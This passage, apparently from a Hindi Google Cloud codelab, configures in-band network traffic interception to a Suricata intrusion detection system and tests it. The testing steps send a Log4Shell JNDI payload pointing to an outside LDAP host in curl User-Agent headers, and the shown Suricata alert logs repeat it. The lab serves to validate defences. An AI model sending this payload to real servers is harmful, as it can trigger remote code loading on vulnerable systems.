gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
    --location global 

आउटपुट का उदाहरण:

createTime: '2025-01-16T06:37:10.620185836Z'
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:37:22.707994466Z'
  1. उपयोगकर्ता वीपीसी के बारे में बताते हुए, इंटरसेप्ट एंडपॉइंट ग्रुप का असोसिएशन बनाएं:
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
    --location global \
    --network consumer-vpc \
    --no-async \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

पुष्टि करें:

gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
    --location global

आउटपुट का उदाहरण:

createTime: '2025-01-16T06:40:21.125202733Z'
interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
locations:
- location: $zonea
  state: ACTIVE
- location: $zoneb
  state: ACTIVE
name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc
network: projects/$project_id/global/networks/consumer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:40:56.085493855Z'

सुरक्षा प्रोफ़ाइल और सुरक्षा प्रोफ़ाइल ग्रुप

इसके बाद, इंटरसेप्ट करने के लिए कस्टम सुरक्षा प्रोफ़ाइल बनाएँ और उसे सुरक्षा प्रोफ़ाइल ग्रुप से अटैच करें. सुरक्षा प्रोफ़ाइल और सुरक्षा प्रोफ़ाइल ग्रुप का इस्तेमाल, तीसरे पक्ष के डिवाइसों के लिए पैकेट इंटरसेप्शन के लिए किया जाता है.

  1. कस्टम-इंटरसेप्ट सिक्योरिटी प्रोफ़ाइल बनाने के लिए:
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
    --organization $org_id \
    --location global \
    --billing-project $project_id \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

पुष्टि करें कि सुरक्षा प्रोफ़ाइल सही तरीके से बन गई है:

gcloud network-security security-profiles custom-intercept \
describe nsi-intercept-profile \
--organization=$org_id \
--location=global

आउटपुट का उदाहरण:

{
  "createTime": "2025-01-16T20:25:21.545756039Z",
  "customInterceptProfile": {
    "interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
  },
  "etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
  "name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "type": "CUSTOM_INTERCEPT",
  "updateTime": "2025-01-16T20:25:24.101764860Z"
}
  1. सुरक्षा प्रोफ़ाइल ग्रुप बनाएं:
gcloud network-security security-profile-groups create nsi-spg \
   --custom-intercept-profile=nsi-intercept-profile \
   --organization=$org_id \
   --project=$project_id \
  --location=global 

पुष्टि करें कि एसपीजी सही तरीके से बन गया है:

gcloud network-security security-profile-groups describe nsi-spg \
    --organization $org_id \
    --billing-project $project_id \
    --location global

आउटपुट का उदाहरण:

 "createTime": "2025-01-16T20:31:23.545946850Z",
  "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg",
  "updateTime": "2025-01-16T20:31:27.588870973Z"

फ़ायरवॉल की नीति, नियम, और असोसिएशन

  1. ग्लोबल नेटवर्क फ़ायरवॉल की नीति बनाएं:
gcloud compute network-firewall-policies create consumer-fwpolicy \
     --global
  1. फ़ायरवॉल के नियम बनाएं:
gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=consumer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20
  1. फ़ायरवॉल का ऐसा नियम बनाएं जो NSI का इस्तेमाल करके, सभी इग्रैस ट्रैफ़िक को इंटरसेप्ट कर सके. इससे, तीसरे पक्ष के ऐप्लिकेशन को पारदर्शी तरीके से ट्रैफ़िक भेजा जा सकेगा. इस नियम के तहत, टीसीपी:80 का सारा इग्रेस ट्रैफ़िक जांच के लिए भेजा जाएगा.
gcloud compute network-firewall-policies rules create 800 \
    --action APPLY_SECURITY_PROFILE_GROUP \
    --firewall-policy consumer-fwpolicy \
    --security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
    --direction EGRESS \
    --layer4-configs tcp:80 \
    --dest-ip-ranges 0.0.0.0/0 \
    --global-firewall-policy
  1. क्लाउड फ़ायरवॉल की नीति को वीपीसी नेटवर्क से जोड़ें:
gcloud compute network-firewall-policies associations create \
        --firewall-policy consumer-fwpolicy \
        --network consumer-vpc \
        --name consumer-fwpolicy-association \
        --global-firewall-policy

उपभोक्ता वीएम

  1. एनएसआई की पुष्टि करने के लिए इस्तेमाल की जाने वाली वीएम को डिप्लॉय करें. आपको तीन ज़ोन में तीन वीएम डिप्लॉय करने होंगे. याद रखें कि सिर्फ़ दो ज़ोन में NSI की सुविधा चालू है, जबकि $zonec में यह सुविधा चालू नहीं है.
gcloud compute instances create consumer-$zonea \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.3 \
   --no-address \
   --zone $zonea 

gcloud compute instances create consumer-$zoneb \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.4 \
   --no-address \
   --zone $zoneb

gcloud compute instances create consumer-$zonec \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.5 \
   --no-address \
   --zone $zonec 

इन-बैंड नेटवर्क सुरक्षा इंटिग्रेशन की टेस्टिंग

  1. $zonea (consumer-$zonea) में मौजूद वीएम में एसएसएच करें. टेस्ट ट्रैफ़िक भेजें:
gcloud compute ssh consumer-$zonea \
   --zone $zonea 
  1. http://www.google.com पर टेस्ट ट्रैफ़िक भेजें:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

अनुमानित आउटपुट:

200

एचटीटीपी 200 स्टेटस कोड से पता चलता है कि क्लाइंट का अनुरोध, सर्वर को मिल गया है. साथ ही, सर्वर ने उसे समझ लिया है और प्रोसेस कर लिया है.

  1. NSI के ज़रिए, ऐसे log4j अनुरोध भेजें जिन्हें Suricata को ब्लॉक करना चाहिए.
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

अनुमानित आउटपुट:

000

000 एचटीटीपी रिस्पॉन्स कोड, एक अनौपचारिक और नॉन-स्टैंडर्ड कोड है. इसका इस्तेमाल कुछ सॉफ़्टवेयर करते हैं. इससे पता चलता है कि कोई मान्य एचटीटीपी स्टेटस कोड नहीं मिला. इसका मतलब है कि अनुरोध को फ़ायरवॉल ने ब्लॉक कर दिया है.

  1. एसएसएच सेशन से बाहर निकलकर, Cloud Shell पर वापस जाएं
exit
  1. $zoneb (consumer-$zoneb) में मौजूद वीएम में एसएसएच करें
gcloud compute ssh consumer-$zoneb \
   --zone $zoneb 
  1. इसी तरह, टेस्ट ट्रैफ़िक भेजें:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

अनुमानित आउटपुट:

200
  1. log4j का अनुरोध भेजें:
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

अनुमानित आउटपुट:

000
  1. एसएसएच सेशन से बाहर निकलकर, Cloud Shell पर वापस जाएं
exit
  1. $zonec (consumer-$zonec) में मौजूद वीएम में एसएसएच करें
gcloud compute ssh consumer-$zonec \
   --zone $zonec
  1. इसी तरह, टेस्ट ट्रैफ़िक भेजें:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

अनुमानित आउटपुट:

200
  1. log4j का अनुरोध भेजें:
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

अनुमानित आउटपुट:

200

ध्यान दें कि यह अनुरोध पूरा हो गया है. ऐसा इसलिए हुआ है, क्योंकि आपने $zonec के साथ एनएसआई को कॉन्फ़िगर नहीं किया है. इंटरसेप्ट एंडपॉइंट ग्रुप में, सिर्फ़ $zonea और $zoneb के लिए असोसिएशन हैं.

  1. एसएसएच सेशन से बाहर निकलकर, Cloud Shell पर वापस जाएं
exit

इस बात की पुष्टि करना कि Suricata को नुकसान पहुंचाने वाले अनुरोध मिले और उन्हें ब्लॉक किया गया

  1. लॉग की जांच करने के लिए, $zonea में मौजूद Suricata वीएम (suricata-$zonea) में एसएसएच करें:
gcloud compute ssh suricata-$zonea \
   --zone $zonea
  1. हमले के टाइप के हिसाब से फ़िल्टर किए गए लॉग देखें:
cat /var/log/suricata/eve.json | grep log4j

आपको कुछ एंट्री दिख सकती हैं. अगर आपको कोई एंट्री नहीं दिखती है, तो $zoneb में Suricata VM के लॉग देखें. आउटपुट का उदाहरण:

{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
  1. एसएसएच सेशन से बाहर निकलकर, Cloud Shell पर वापस जाएं
exit

इसके अलावा, $zoneb में मौजूद Suricata वीएम (suricata-$zoneb) में एसएसएच किया जा सकता है और लॉग की पुष्टि की जा सकती है

gcloud compute ssh suricata-$zoneb \
   --zone $zoneb

हमले के टाइप के हिसाब से फ़िल्टर किए गए लॉग देखें:

cat /var/log/suricata/eve.json | grep log4j

आउटपुट का उदाहरण:

{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}

इसके अलावा, पैकेट कैप्चर की मदद से ट्रैफ़िक को देखा और उसकी पुष्टि की जा सकती है.

इस कमांड से, GENEVE पैकेट फ़िल्टर किए जाएंगे. निर्देश का उदाहरण:

sudo tcpdump -i any -nn udp port 6081

अब उपभोक्ता वीएम से कुछ टेस्ट ट्रैफ़िक भेजें. आउटपुट का उदाहरण:

05:53:50.719074 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.719190 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.728752 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
05:53:50.728785 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0

ध्यान दें कि tcpdump की मदद से, GENEVE हेडर देखे जा सकते हैं. सोर्स आईपी, सबनेट गेटवे (10.0.0.1) का है और डेस्टिनेशन आईपी, फ़ॉरवर्डिंग के नियम (10.0.0.11 या 10.0.0.12) का है. इन कैप्सूल वाले पैकेट में ओरिजनल पैकेट शामिल होते हैं. जैसे, consumer-$zonea (192.168.0.2) या consumer-$zoneb (192.168.0.3) का क्लाइंट आईपी और डेस्टिनेशन google.com. इससे पुष्टि होती है कि पैकेट को इंटरसेप्ट किया जा रहा है और Network Security Integration के ज़रिए, तीसरे पक्ष के ऐप्लिकेशन को भेजा जा रहा है.

  1. एसएसएच सेशन से बाहर निकलकर, Cloud Shell पर वापस जाएं
exit

बधाई हो। आपने इन-बैंड नेटवर्क सुरक्षा इंटिग्रेशन (एनएसआई) के साथ एनवायरमेंट को डिप्लॉय और टेस्ट कर लिया है.

5. क्लीन अप करें

उपयोगकर्ता

उपयोगकर्ता के वीएम मिटाएं:

gcloud compute instances delete consumer-$zonea \
   --zone $zonea -q

gcloud compute instances delete consumer-$zoneb \
   --zone $zoneb -q

gcloud compute instances delete consumer-$zonec \
   --zone $zonec -q

फ़ायरवॉल असोसिएशन और नीति मिटाना:

gcloud compute network-firewall-policies associations delete \
        --firewall-policy consumer-fwpolicy \
        --name consumer-fwpolicy-association \
        --global-firewall-policy -q

gcloud compute network-firewall-policies delete consumer-fwpolicy \
     --global -q

सुरक्षा प्रोफ़ाइल ग्रुप और सुरक्षा प्रोफ़ाइल मिटाने के लिए:

gcloud network-security security-profile-groups delete nsi-spg \
   --organization=$org_id \
   --project=$project_id \
  --location=global -q

gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
    --organization $org_id \
    --location global -q

एंडपॉइंट के असोसिएशन और इंटरसेप्ट एंडपॉइंट ग्रुप मिटाएं:

gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
    --location global -q


gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
    --location global -q

Cloud NAT, Cloud Router, और रिज़र्व किए गए आईपी पते को मिटाएं

gcloud compute routers nats delete consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region -q 

gcloud compute routers delete consumer-$region-cr \
    --region=$region -q

gcloud compute addresses delete consumer-$region-cloudnatip \
     --region=$region -q

वीपीसी और सबनेट मिटाना

gcloud compute networks subnets delete consumer-$region-subnet \
   --region $region -q

gcloud compute networks delete consumer-vpc -q

Producer

इंटरसेप्ट डिप्लॉयमेंट मिटाने के लिए:

gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
    --location $zonea -q

gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
    --location $zoneb -q

इंटरसेप्ट डिप्लॉयमेंट ग्रुप मिटाएं (इस कमांड के पूरा होने से पहले, इंटरसेप्ट डिप्लॉयमेंट मिटाने की प्रोसेस पूरी होनी चाहिए):

gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
    --location global -q

फ़ॉरवर्ड करने के नियम मिटाएं:

gcloud compute forwarding-rules delete producer-fr-$zonea \
   --region=projects/$project_id/regions/$region -q

gcloud compute forwarding-rules delete producer-fr-$zoneb \
   --region=projects/$project_id/regions/$region -q

फ़ॉरवर्ड करने का नियम मिटाएं, आईपी पता रिज़र्व किया गया है:

gcloud compute addresses delete producer-fr-$zonea-ip \
    --region $region -q

gcloud compute addresses delete producer-fr-$zoneb-ip \
    --region $region -q

बैकएंड सेवा मिटाने के लिए:

gcloud compute backend-services delete producer-bes \
  --region=projects/$project_id/regions/$region -q

मैनेज नहीं किए गए इंस्टेंस ग्रुप मिटाएं:

gcloud compute instance-groups unmanaged delete  producer-$zonea-uig \
   --zone $zonea -q

gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \
   --zone $zoneb -q

हेल्थ चेक मिटाएं:

gcloud compute health-checks delete nva-hc -q

प्रोड्यूसर वीएम मिटाएं:

gcloud compute instances delete suricata-$zonea \
   --zone $zonea -q

gcloud compute instances delete suricata-$zoneb \
   --zone $zoneb -q

Cloud NAT, Cloud Router, और रिज़र्व किए गए आईपी पते को मिटाएं:

gcloud compute routers nats delete producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region -q

gcloud compute routers delete producer-$region-cr \
  --region=$region -q

gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q

फ़ायरवॉल की नीति का असोसिएशन मिटाने के लिए:

gcloud compute network-firewall-policies associations delete \
        --firewall-policy producer-fwpolicy \
        --name producer-fwpolicy-association \
        --global-firewall-policy -q

फ़ायरवॉल की नीति मिटाएं:

gcloud compute network-firewall-policies delete producer-fwpolicy \
  --global -q

वीपीसी और सबनेट मिटाना

gcloud compute networks subnets delete producer-$region-subnet \
--region=$region -q

gcloud compute networks delete producer-vpc -q

6. बधाई हो!

बधाई हो, आपने Suricata codelab के साथ In-band Network Security Integration को पूरा कर लिया है.

एनएसआई इन-बैंड वेंडर के लिए खास डेमो वीडियो देखें:

Palo Alto Networks

Fortinet

वेंडर के हिसाब से डिप्लॉयमेंट की कुछ ऐसी गाइड देखें जो आपके संगठन के लिए काम की हो सकती हैं:

Palo Alto Networks

Fortinet

सही विकल्प चुनें